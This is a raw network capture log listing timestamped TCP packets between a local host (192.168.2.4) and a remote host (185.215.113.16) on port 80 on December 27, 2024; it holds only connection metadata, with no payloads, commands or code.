Dec 27, 2024 09:01:14.688354015 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688368082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.688401937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.688401937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.688415051 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.689177990 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689191103 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689203024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689215899 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689227104 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689234972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689239979 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689246893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689251900 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689259052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689260960 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.689265013 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689270973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689275980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689279079 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.689287901 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689301014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689313889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.689337969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.689376116 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.689994097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690006018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690018892 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690032005 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690043926 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690057039 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690082073 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690110922 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690110922 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690120935 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690133095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690149069 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690161943 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690172911 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690186977 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690196037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690196037 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690200090 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690213919 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690227032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690239906 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690253973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690287113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.690918922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690932989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.690984964 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.691070080 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691082001 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691093922 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691104889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691117048 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691123009 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.691128969 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691140890 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691153049 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691163063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.691164970 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691176891 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691190004 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.691207886 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.691231012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.691231012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.691337109 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.692903996 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.692961931 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693042040 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693054914 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693065882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693085909 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693098068 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693099022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693099022 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693109989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693121910 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693125010 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693137884 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693147898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693150997 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693170071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693170071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693177938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693203926 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693217993 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693834066 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693849087 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693864107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693913937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693913937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.693985939 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.693998098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694020987 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694032907 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694045067 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694062948 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694062948 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694113970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694185019 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694197893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694210052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694222927 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694235086 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694247007 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694253922 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694253922 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694259882 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694272995 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694284916 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694294930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694294930 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694298029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694317102 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.694348097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694348097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.694374084 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695126057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695137978 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695156097 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695168018 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695178986 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695193052 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695200920 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695210934 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695223093 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695230007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695235014 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695247889 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695247889 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695260048 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695272923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695285082 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695286036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695298910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695307970 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695317984 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695324898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695349932 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695384979 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.695949078 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695961952 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695974112 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.695986032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696019888 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696048975 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696067095 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696079016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696090937 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696094036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696106911 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696113110 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696125031 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696135044 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696136951 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696150064 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696155071 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696163893 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696177006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696188927 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696192980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696192980 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696201086 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696221113 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696283102 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.696933985 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696947098 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.696959972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697006941 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697055101 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697257042 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697269917 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697282076 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697293997 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697305918 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697319031 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697334051 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697335005 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697345972 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697357893 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697359085 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697357893 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697371006 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697384119 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697396040 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697408915 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697422028 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697429895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697429895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697433949 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697446108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.697467089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697467089 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.697585106 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698097944 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698111057 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698122978 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698179007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698179007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698251963 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698266029 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698276997 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698290110 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698302031 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698316097 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698323011 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698338032 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698349953 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698349953 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698349953 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698364973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698371887 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698384047 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698386908 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698395967 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698401928 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698407888 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.698442936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698442936 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.698474884 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699104071 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699116945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699131966 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699143887 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699153900 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699172974 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699184895 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699184895 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699229002 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699233055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699233055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699240923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699278116 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699292898 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699305058 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.699337006 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.699384928 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700047016 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700061083 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700073004 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700115919 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700186968 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700223923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700237036 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700249910 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700290918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700290918 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700330019 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700340986 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700355053 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700376034 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700395107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700407028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700407982 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700407028 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700419903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700431108 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700440884 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700443983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700455904 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700459003 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700472116 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700484991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.700505018 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700505972 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.700548887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.806035995 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.806101084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.806191921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.806191921 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.806443930 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.806515932 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.806571007 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.807296991 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.807354927 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.807421923 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.807528973 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.808187008 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.808263063 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.808271885 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.808325052 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.809046030 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.809092045 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.809267044 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.809375048 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.809921980 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.810036898 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.810039043 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.810106039 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.810969114 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.811028957 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.811091900 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.811150074 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.811788082 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.811841965 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.811903000 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.811947107 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.812561989 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.812629938 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.812632084 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.812685013 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.813453913 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.813505888 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.813528061 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.813565969 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.814299107 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.814358950 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.814439058 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.815195084 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.815247059 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.815289021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.815289021 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.816226959 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.816277027 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.816349983 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.816406012 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.817295074 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.817308903 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.817367077 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.817909002 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.817960024 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.817964077 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.818043947 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.818721056 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.818778992 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.818798065 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.818834066 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.819607973 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.819660902 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.819704056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.819704056 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.820430994 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.820476055 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.820534945 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.820597887 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.821346045 CET	80	49789	185.215.113.16	192.168.2.4
Dec 27, 2024 09:01:14.821400881 CET	49789	80	192.168.2.4	185.215.113.16
Dec 27, 2024 09:01:14.821429014 CET	80	49789	185.215.113.16	192.168.2.4
